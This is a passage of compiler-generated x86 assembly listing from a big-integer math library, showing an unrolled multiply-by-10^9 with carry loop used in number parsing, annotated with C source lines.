; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+72]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+72], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+76]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+76], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+80]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+80], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+84]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+84], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+88]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+88], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+92]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+92], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+96]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+96], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+100]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+100], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+104]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+104], eax
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+108]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+108], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+112]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+112], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+116]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+116], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+120]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+120], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+124]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+124], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 32 ; 00000020H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 445 : u_buf += 32;
sub ecx, -128 ; ffffff80H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
lock xadd DWORD PTR [edx], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 446 : --count;
sub ebx, 1
jne $LL2@MultiplyAn
; 409 : __UNIT_TYPE k = x;
; 410 : __UNIT_TYPE count = u_count >> 5;
; 411 : while (count > 0)
mov ebx, DWORD PTR _u_count$[ebp]
$LN3@MultiplyAn:
; 447 : #ifdef ENABLED_PERFORMANCE_COUNTER
; 448 : if (sizeof(k) == sizeof(_UINT32_T))
; 449 : AddToMULTI32Counter(32);
; 450 : else
; 451 : AddToMULTI64Counter(32);
; 452 : #endif
; 453 : }
; 454 :
; 455 : if (u_count & 0x10)
test bl, 16 ; 00000010H
je $LN509@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+4]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+8]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+12]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+16]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+16], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+20]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+20], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+24]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+24], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+28]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+28], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+32]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+32], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+36]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+36], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+40]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+40], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+44]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+44], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+48]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+48], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+52]
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
mov DWORD PTR [ecx+52], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+56]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+56], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+60]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+60], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 16 ; 00000010H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 473 : u_buf += 16;
add ecx, 64 ; 00000040H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
lock xadd DWORD PTR [edx], eax
$LN509@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 482 : if (u_count & 0x8)
test bl, 8
je $LN593@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+4]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+8]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+12]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+16]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+16], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+20]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+20], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+24]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+24], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+28]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+28], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 8
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 492 : u_buf += 8;
add ecx, 32 ; 00000020H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
lock xadd DWORD PTR [edx], eax
$LN593@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 501 : if (u_count & 0x4)
test bl, 4
je SHORT $LN637@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+4]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+8]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+12]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 507 : u_buf += 4;
add ecx, 16 ; 00000010H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
lock xadd DWORD PTR [edx], eax
$LN637@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 516 : if (u_count & 0x2)
test bl, 2
je SHORT $LN661@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+4]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, 2
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, OFFSET _statistics_info+4
